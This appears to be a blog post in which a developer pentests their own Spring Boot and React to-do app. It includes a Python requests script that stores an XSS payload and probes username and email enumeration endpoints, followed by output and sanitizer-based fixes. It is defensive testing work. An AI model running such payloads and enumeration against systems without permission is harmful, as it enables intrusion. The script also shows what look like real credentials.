As part of improving the security of my To-Do List application (built with Spring Boot, MySQL, and React), I performed a pentest to evaluate how the app handles malicious input and authentication workflows. The focus was on automating workflow attacks using Python and requests
to simulate a real attacker’s interaction with the backend API.
Step 1: Mapping the Attack Surface
The API endpoints available for my app included:
-
POST /api/auth/signup
– create an account -
POST /api/auth/login
– authenticate a user -
POST /api/todos
– create a new to-do item -
GET /api/todos
– fetch a user’s to-dos -
DELETE /api/todos/{id}
– delete a to-do item -
POST /api/auth/checkuser
– validate username availability -
POST /api/auth/checkemail
– validate email availability
From a security perspective, these workflows are interesting because they combine user management and data creation, two common targets for attackers.
Step 2: Automating the Workflow
Instead of manually issuing curl
requests, I chained the attack steps with a Python script using the requests
library.
The script performed the following sequence:
-
Attempted to sign up a test account
-
Checked whether a target username/email existed
-
Logged in with valid credentials
-
Created a malicious To-Do item (payload injection)
Example payload:
{ "title": "<script>alert('XSS')</script>" }
Here is the python script I used for this test:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | import requests from requests.auth import HTTPBasicAuth BASE_URL = "http://localhost:8080" class TodoWorkflowAttack: def __init__(self, username, password, email): self.username = username self.password = password self.email = email self.session = requests.Session() def signup(self): """Register a new user""" url = f"{BASE_URL}/api/auth/signup" data = {"username": self.username, "password": self.password, "email": self.email} resp = self.session.post(url, json=data) if resp.status_code == 200: print(f"[+] Signup success for {self.username}") else: print(f"[-] Signup failed: {resp.status_code} {resp.text}") def check_user(self): """Check if username exists""" url = f"{BASE_URL}/api/auth/checkuser" data = {"username": self.username} resp = self.session.post(url, json=data) print(f"[*] Checking user: {self.username} → {resp.text}") def check_email(self): """Check if email exists""" url = f"{BASE_URL}/api/auth/checkemail" data = {"email": self.email} resp = self.session.post(url, json=data) print(f"[*] Checking email: {self.email} → {resp.text}") def login(self): """Login with BasicAuth (username:password)""" url = f"{BASE_URL}/api/auth/login" resp = self.session.post(url, auth=HTTPBasicAuth(self.username, self.password)) if resp.status_code == 200: print(f"[+] Login success as {self.username}") else: print(f"[-] Login failed: {resp.status_code} {resp.text}") def create_malicious_todo(self): """Insert a malicious todo item""" url = f"{BASE_URL}/api/todos" headers = {"Content-Type": "application/json"} payload = {"title": "<script>alert('XSS')</script>"} resp = self.session.post(url, headers=headers, auth=HTTPBasicAuth(self.username, self.password), json=payload) if resp.status_code == 200: print("[+] Malicious todo created!") print(resp.json()) else: print(f"[-] Failed to create todo: {resp.status_code} {resp.text}") def run(self): self.signup() self.check_user() self.check_email() self.login() self.create_malicious_todo() if __name__ == "__main__": attacker = TodoWorkflowAttack("user1", "xblaster", "blaslomibao@yahoo.com") attacker.run() |
Here is the result:
1 2 3 4 5 6 | [-] Signup failed: 409 {"error":"Username taken"} [*] Checking user: user1 → {"message":"Username is valid"} [*] Checking email: blaslomibao@yahoo.com → {"error":"Email not found"} [+] Login success as user1 [+] Malicious todo created! {'id': 13, 'title': "<script>alert('XSS')</script>", 'completed': False, 'username': 'user1'} |
Step 3: Observations
-
Signup failed when the username was already taken (
409 Conflict
), which is expected. -
Check user/email endpoints revealed whether usernames or emails existed. This could be abused for user enumeration.
-
Login succeeded with valid credentials.
-
Malicious To-Do was successfully stored in the backend database, though React’s default escaping prevented execution on the frontend.
Step 4: Risks Identified
-
Stored Malicious Data – even if it doesn’t execute now, it may execute later in a different context (e.g., admin dashboards, exports).
-
User Enumeration – the
checkuser
andcheckemail
endpoints leak whether a user/email exists. -
Weak Input Validation – the backend accepts arbitrary input for
title
without sanitization.
Step 5: Mitigation Recommendations
-
Input Sanitization: sanitize or strip dangerous HTML/JS before saving data to the database (e.g., with OWASP Java HTML Sanitizer).
-
Output Encoding: continue escaping output on the frontend (React already does this safely unless
dangerouslySetInnerHTML
is used). -
Generic Error Messages: adjust
checkuser
/checkemail
responses to return generic messages, reducing user enumeration risk. -
Security Testing Integration: integrate automated scripts like this into CI/CD to catch regressions.
1. Validate / Sanitize Input (Backend)
Before saving user input (title
), strip out dangerous HTML/JavaScript.
A popular way in Java is to use OWASP Java HTML Sanitizer:
Maven dependency:
1 2 3 4 5 | <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20220608.1</version> </dependency> |
TodoService Revision
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; @Service public class TodoService { private final PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.LINKS); public TodoResponse createTodo(TodoRequest request, User user) { Todo todo = new Todo(); // Sanitize title before saving String cleanTitle = sanitizer.sanitize(request.getTitle()); todo.setTitle(cleanTitle); todo.setCompleted(false); todo.setUser(user); Todo saved = todoRepository.save(todo); return new TodoResponse(saved.getId(), saved.getTitle(), saved.isCompleted(), saved.getUser().getUsername()); } } |
Conclusion
Automating workflow attacks with Python makes pentesting repeatable and scalable. Even a simple To-Do app can reveal common vulnerabilities like stored XSS and user enumeration.
By combining automation with secure coding practices, I can harden my app against potential attackers while ensuring the workflows remain user-friendly.
No comments:
Post a Comment